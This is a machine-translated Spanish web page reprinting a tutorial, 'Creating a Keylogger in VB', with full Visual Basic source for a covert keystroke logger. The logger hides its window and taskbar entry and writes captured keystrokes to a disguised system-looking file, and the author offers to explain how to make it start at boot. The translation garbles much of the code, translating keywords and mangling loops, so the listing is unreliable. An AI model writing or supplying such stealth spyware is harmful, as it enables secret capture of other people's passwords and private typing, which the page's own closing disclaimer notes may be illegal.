This is a machine translation. The original page (in English) is available here.
Windows
Mac OS
Móvil

Última noticia: 19 de septiembre de 2016 - , Hemos añadido nuevas categorías para el monitoreo de pruebas de productos: el Micrófono y la Webcam Grabación, etc... Feed RSS

Inicio>Artículos>la Creación de un Registrador de teclas en VB

AnyKeylogger para Mac

La creación de un Registrador de teclas en VB

por el Silencio de las Sombras

Ok...estoy asumiendo que usted tiene una comprensión básica de cómo visual basic funciona y cómo hacer que los programas de depuración y compilación. Si no, enviarme un correo electrónico y yo podría ser capaz de ayudar.

En primer lugar, si usted no lo tiene, lo consigue. ApiGuide. Descargarlo en http://www.mentalis.org/agnet/apiguide.shtml

Ok. Abierto VB y el inicio de una nueva aplicación. Añadir al formulario un botón, un temporizador y un módulo(sé que el módulo no es en realidad parte de la forma). Eso es todo. El cambio de título del botón para Iniciar el Registro
(si usted quiere hacer que se inicie en el arranque...pm me o enviarme un correo electrónico)
Ahora utilizando la api de guía o simplemente copiar de aquí, declarar una nueva función. el GetASyncKeyState función

Declarar la Función GetAsyncKeyState Lib "user32" Alias "GetAsyncKeyState"
(ByVal vKey Como Long) as Integer

^---poner esto en la sección de declaraciones del módulo.

Que es de una sola línea de código. Asegúrese de que su parecido. y no se divide en 2.

Ahora tiene una nueva función para el uso a través de su programa.
ok...
ahora debemos hacer es ser "invisible". Ahora im lo siento, pero en Windows XP, no sé cómo quitarlo de los "procesos" de la sección Administrador de Tareas. Pero aparte de eso...su invisible.

OK. En el código del botón de..., en el evento click de curso...
escriba el siguiente

app.taskvisible = false
form1.visible = false
form1.ocultar
timer1.enabled = true


"y también en la sección de propiedades de la forma...cambiar el shownintaskbar a false

Ahora, cuando hacemos clic en el botón...es invisible.

Ahora vamos a necesitar algunas variables....
De vuelta en la sección de declaraciones declara el siguiente...

Dim strLetter como Cadena, strTotal como Cadena

Ahora en el código de temporización de poner esto. Voy a explicar después.
también establecer el intervalo de 1 y enabled a false

Private Sub Timer1_Timer()

Para I = 28 128

Si GetAsyncKeyState <> 0 Then

strLetter = Chr(I)


"Ahora aquí usted puede agregar ciertas cosas
'así que en lugar de mostrar
retardado de los personajes, que te dice
'lo que el usuario presiona. A lo que me refiero
"es si se pulsa Intro/Retorno,
"Mostrar un extraño cuadro. Usted no quiere que
'así que u hacer un select case sobre la I para cada
'botón que deseas personalizar. PM me o Correo electrónico
'mi ayuda en esta parte.


strTotal = strTotal & strLetter


End If

A Continuación Me

abrir "C:\Windows\SysResources.DAT" for output as #1
Print #1, strTotal
close #1

End Sub


'Código De Fin De

Ahora todo lo que tienes que hacer es cuando usted quiere comprobar las teclas presionadas, abrir C:\Windows\SysResource.DAT en el bloc de notas, y ahí está. Este programa no se ejecuta en el arranque. Si quieres saber cómo hacerlo, PM me, pero preferiblemente por correo electrónico a mí. Me gustaría mucho que me agregue a Msn Messenger. Mi correo de messenger es... [email protected]
Mi correo para el envío por correo electrónico es..... [email protected].

Espero que esto ayude!
Aquí está toda la codificación para los lamers...

El PRINCIPIO de

Dim strLetter Como Cadena, strTotal Como Cadena, viejo como la cadena de

Private Sub Command1_Click()
Timer1.Enabled = True
End Sub

Private Sub Form_Load()
Command1.Caption = "Start Estar Registrado"
Timer1.Enabled = False
Timer1.Intervalo = 1
End Sub

Private Sub Timer1_Timer()
Para I = 28 128 'código ASCII
Si GetAsyncKeyState <> 0 Then
strLetter = Chr(I)
End If
Si strletter <> Antiguo, a Continuación,
Edad = strletter
strTotal = strTotal y viejos
End If
A Continuación Me
Abrir "C:\windows\SysResources.dat" For Output As #1
Print #1, strTotal
Close #1
End Sub

"ACABAR con la

creo que eso es todo, además el Módulo de curso.
Leer el artículo completo
Inicio>Artículos>la Creación de un Registrador de teclas en VB
IMPORTANTE! Instalación de equipo de monitoreo de herramientas en los equipos que no posean o no tienes permiso para monitor puede violar locales, estatales o federales.
Suggest translation